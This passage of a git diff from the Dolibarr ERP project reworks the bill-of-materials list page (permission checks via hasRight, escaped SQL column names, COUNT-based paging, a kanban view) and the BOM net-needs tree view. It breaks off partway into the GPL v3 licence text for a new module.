$user->rights->bom->read; -$permissiontoadd = $user->rights->bom->write; -$permissiontodelete = $user->rights->bom->delete; +$permissiontoread = $user->hasRight('bom', 'read'); +$permissiontoadd = $user->hasRight('bom', 'write'); +$permissiontodelete = $user->hasRight('bom', 'delete'); // Security check if ($user->socid > 0) { @@ -172,8 +175,8 @@ if (empty($reshook)) { // Mass actions $objectclass = 'BOM'; $objectlabel = 'BillOfMaterials'; - $permissiontoread = $user->rights->bom->read; - $permissiontodelete = $user->rights->bom->delete; + $permissiontoread = $user->hasRight('bom', 'read'); + $permissiontodelete = $user->hasRight('bom', 'delete'); $uploaddir = $conf->bom->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; @@ -297,14 +300,17 @@ $sql .= $object->getFieldList('t'); // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { - $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key.' ' : ''); + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); } } // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; @@ -331,17 +337,17 @@ foreach ($search as $key => $val) { $mode_search = 2; } if ($search[$key] != '') { - $sql .= natural_search($key, $search[$key], (($key == 'status') ? 2 : $mode_search)); + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); } } else { if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { $columnName=preg_replace('/(_dtstart|_dtend)$/', '', $key); if (preg_match('/^(date|timestamp|datetime)/', $object->fields[$columnName]['type'])) { if (preg_match('/_dtstart$/', $key)) { - $sql .= " AND t." . $columnName . " >= '" . $db->idate($search[$key]) . "'"; + $sql .= " AND t.".$db->escape($columnName)." >= '".$db->idate($search[$key])."'"; } if (preg_match('/_dtend$/', $key)) { - $sql .= " AND t." . $columnName . " <= '" . $db->idate($search[$key]) . "'"; + $sql .= " AND t.".$db->escape($columnName)." <= '".$db->idate($search[$key])."'"; } } } @@ -361,9 +367,8 @@ $sql .= $hookmanager->resPrint; /* If a group by is required $sql.= " GROUP BY "; -foreach($object->fields as $key => $val) -{ - $sql .= "t.".$key.", "; +foreach($object->fields as $key => $val) { + $sql .= "t.".$db->escape($key).", "; } // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { @@ -378,35 +383,41 @@ $sql.=$hookmanager->resPrint; $sql=preg_replace('/,\s*$/','', $sql); */ -$sql .= $db->order($sortfield, $sortorder); - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if ($limit) { - $sql .= $db->plimit($limit + 1, $offset); - } - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + // Direct jump if only one record found if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); @@ -424,6 +435,9 @@ llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', ''); $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -431,11 +445,17 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } foreach ($search as $key => $val) { - if (is_array($search[$key]) && count($search[$key])) { + if (is_array($search[$key])) { foreach ($search[$key] as $skey) { - $param .= '&search_'.$key.'[]='.urlencode($skey); + if ($skey != '') { + $param .= '&search_'.$key.'[]='.urlencode($skey); + } } - } else { + } elseif (preg_match('/(_dtstart|_dtend)$/', $key) && !empty($val)) { + $param .= '&search_'.$key.'month='.((int) GETPOST('search_'.$key.'month', 'int')); + $param .= '&search_'.$key.'day='.((int) GETPOST('search_'.$key.'day', 'int')); + $param .= '&search_'.$key.'year='.((int) GETPOST('search_'.$key.'year', 'int')); + } elseif ($search[$key] != '') { $param .= '&search_'.$key.'='.urlencode($search[$key]); } } @@ -455,7 +475,7 @@ $arrayofmassactions = array( 'enable'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Enable"), 'disable'=>img_picto('', 'close_title', 'class="pictofixedwidth"').$langs->trans("Disable"), ); -if ($permissiontodelete) { +if (!empty($permissiontodelete)) { $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); } if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { @@ -474,8 +494,13 @@ print ''; print ''; print ''; print ''; +print ''; +print ''; -$newcardbutton = dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/bom/bom_card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $user->rights->bom->write); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/bom/bom_card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $user->rights->bom->write); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_'.$object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -487,10 +512,13 @@ $trackid = 'bom'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; if ($search_all) { + $setupstring = ''; foreach ($fieldstosearchall as $key => $val) { $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } - print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } $moreforfilter = ''; @@ -513,7 +541,7 @@ if (!empty($moreforfilter)) { } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; @@ -523,7 +551,17 @@ print ''; + +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} + foreach ($object->fields as $key => $val) { + $searchkey = empty($search[$key]) ? '' : $search[$key]; $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { $cssforfield .= ($cssforfield ? ' ' : '').'center'; @@ -531,13 +569,13 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; } @@ -561,16 +605,24 @@ $parameters = array('arrayfields'=>$arrayfields); $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; +$totalarray = array(); +$totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -579,21 +631,26 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } + $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label if (!empty($arrayfields['t.'.$key]['checked'])) { print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + $totalarray['nbfield']++; } } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} +$totalarray['nbfield']++; // For the column action print ''."\n"; @@ -611,9 +668,11 @@ if (isset($extrafields->attributes[$object->table_element]['computed']) && is_ar // Loop on record // -------------------------------------------------------------------- $i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; -while ($i < ($limit ? min($num, $limit) : $num)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; // Should not happen @@ -622,74 +681,107 @@ while ($i < ($limit ? min($num, $limit) : $num)) { // Store properties in $object $object->setVarsFromFetchObj($obj); - // Show here line of result - print ''; - foreach ($object->fields as $key => $val) { - $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); - if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; - } elseif ($key == 'status') { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; + // mode view kanban + if ($mode == 'kanban') { + if ($i == 0) { + print ''; } - - if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { - $cssforfield .= ($cssforfield ? ' ' : '').'right'; - } - - if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; - if ($key == 'status') { - print $object->getLibStatut(5); - } elseif ($key == 'rowid') { - print $object->showOutputField($val, $key, $object->id, ''); - } else { - print $object->showOutputField($val, $key, $object->$key, ''); + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!empty($val['isameasure']) && $val['isameasure'] == 1) { - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; - } - if (!isset($totalarray['val'])) { - $totalarray['val'] = array(); - } - if (!isset($totalarray['val']['t.'.$key])) { - $totalarray['val']['t.'.$key] = 0; - } - $totalarray['val']['t.'.$key] += $object->$key; - } } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - print ''; - if (!$i) { - $totalarray['nbfield']++; - } + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } - print ''."\n"; + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag($object->$key).'"'; + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; + } + } + } + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + } + if (!$i) { + $totalarray['nbfield']++; + } + + print ''."\n"; + } $i++; } @@ -706,14 +798,14 @@ if ($num == 0) { $colspan++; } } - print ''; + print ''; } $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + print ''; if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { - print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100'.($key == 'status' ? ' search_status width100 onrightofpage' : ''), 1); } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:') === 0)) { print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', 'maxwidth125', 1); } elseif (!preg_match('/^(date|timestamp|datetime)/', $val['type'])) { @@ -549,6 +587,12 @@ foreach ($object->fields as $key => $val) { print '
      '; print $form->selectDate($search[$key.'_dtend'] ? $search[$key.'_dtend'] : '', "search_".$key."_dtend", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); print '
      '; + } elseif ($key == 'lang') { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formadmin.class.php'; + $formadmin = new FormAdmin($db); + print $formadmin->select_language($search[$key], 'search_lang', 0, null, 1, 0, 0, 'minwidth150 maxwidth200', 2); + } else { + print ''; } print '
      '; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + print '
      '; } - - if (in_array($val['type'], array('timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif ($key == 'ref') { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + // Output kanban + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; } print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '.$langs->trans("NoRecordFound").'
      '."\n"; diff --git a/htdocs/bom/bom_net_needs.php b/htdocs/bom/bom_net_needs.php index 1b8afa91e52..56683e82338 100644 --- a/htdocs/bom/bom_net_needs.php +++ b/htdocs/bom/bom_net_needs.php @@ -84,10 +84,10 @@ $isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); $result = restrictedArea($user, 'bom', $object->id, 'bom_bom', '', '', 'rowid', $isdraft); // Permissions -$permissionnote = $user->rights->bom->write; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->bom->write; // Used by the include of actions_dellink.inc.php -$permissiontoadd = $user->rights->bom->write; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php -$permissiontodelete = $user->rights->bom->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); +$permissionnote = $user->hasRight('bom', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('bom', 'write'); // Used by the include of actions_dellink.inc.php +$permissiontoadd = $user->hasRight('bom', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php +$permissiontodelete = $user->hasRight('bom', 'delete') || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); $upload_dir = $conf->bom->multidir_output[isset($object->entity) ? $object->entity : 1]; @@ -187,8 +187,8 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print dol_get_fiche_end(); - $viewlink = dolGetButtonTitle($langs->trans('GroupByProduct'), '', 'fa fa-bars imgforviewmode', $_SERVER['PHP_SELF'].'?id='.$object->id.'&token='.newToken(), '', 1, array('morecss' => 'reposition '.($action !== 'treeview' ? 'btnTitleSelected':''))); - $viewlink .= dolGetButtonTitle($langs->trans('TreeStructure'), '', 'fa fa-stream imgforviewmode', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=treeview&token='.newToken(), '', 1, array('morecss' => 'reposition marginleftonly '.($action == 'treeview' ? 'btnTitleSelected':''))); + $viewlink = dolGetButtonTitle($langs->trans('GroupByX', $langs->transnoentitiesnoconv("Products")), '', 'fa fa-bars imgforviewmode', $_SERVER['PHP_SELF'].'?id='.$object->id.'&token='.newToken(), '', 1, array('morecss' => 'reposition '.($action !== 'treeview' ? 'btnTitleSelected':''))); + $viewlink .= dolGetButtonTitle($langs->trans('TreeView'), '', 'fa fa-stream imgforviewmode', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=treeview&token='.newToken(), '', 1, array('morecss' => 'reposition marginleftonly '.($action == 'treeview' ? 'btnTitleSelected':''))); print load_fiche_titre($langs->trans("BOMNetNeeds"), $viewlink, ''); @@ -214,22 +214,30 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea print ''.img_picto('', 'folder', 'class="paddingright"').$langs->trans("UndoExpandAll").' '; } print ''; + if ($action == 'treeview') print ''.$langs->trans('ProducedBy').''; print ''.$langs->trans('Quantity').''; print ''.$form->textwithpicto($langs->trans("PhysicalStock"), $text_stock_options, 1).''; print ''.$form->textwithpicto($langs->trans("VirtualStock"), $langs->trans("VirtualStockDesc")).''; print ''; + + print ''; + print ''; if (!empty($TChildBom)) { if ($action == 'treeview') { foreach ($TChildBom as $fk_bom => $TProduct) { $repeatChar = ' '; if (!empty($TProduct['bom'])) { + $prod = new Product($db); + $prod->fetch($TProduct['bom']->fk_product); if ($TProduct['parentid'] != $object->id) print ''; else print ''; - print ''.str_repeat($repeatChar, $TProduct['level']).$TProduct['bom']->getNomUrl(1); + if ($action == 'treeview') print ''.str_repeat($repeatChar, $TProduct['level']).$prod->getNomUrl(1); + else print ''.str_repeat($repeatChar, $TProduct['level']).$TProduct['bom']->getNomUrl(1); print ' '; print img_picto('', 'folder-open'); print ''; print ''; + if ($action == 'treeview') print ''.$TProduct['bom']->getNomUrl(1).''; print ''.$TProduct['qty'].''; print ''; print ''; @@ -244,6 +252,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea if ($fk_bom != $object->id) print ''; else print ''; print ''.str_repeat($repeatChar, $TInfos['level']).$prod->getNomUrl(1).''; + if ($action == 'treeview') print ''; print ''.$TInfos['qty'].''; print ''.price2num($prod->stock_reel, 'MS').''; print ''.$prod->stock_theorique.''; @@ -266,7 +275,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea } } } - print ''; + print ''; print ''; @@ -287,20 +296,30 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea - showOptionals($extrafields, 'view', array('style'=>'class="drag drop oddeven"', 'colspan'=>$coldisplay), '', '', 1, 'line'); -} print "\n"; diff --git a/htdocs/bookcal/COPYING b/htdocs/bookcal/COPYING new file mode 100644 index 00000000000..94a04532226 --- /dev/null +++ b/htdocs/bookcal/COPYING @@ -0,0 +1,621 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users 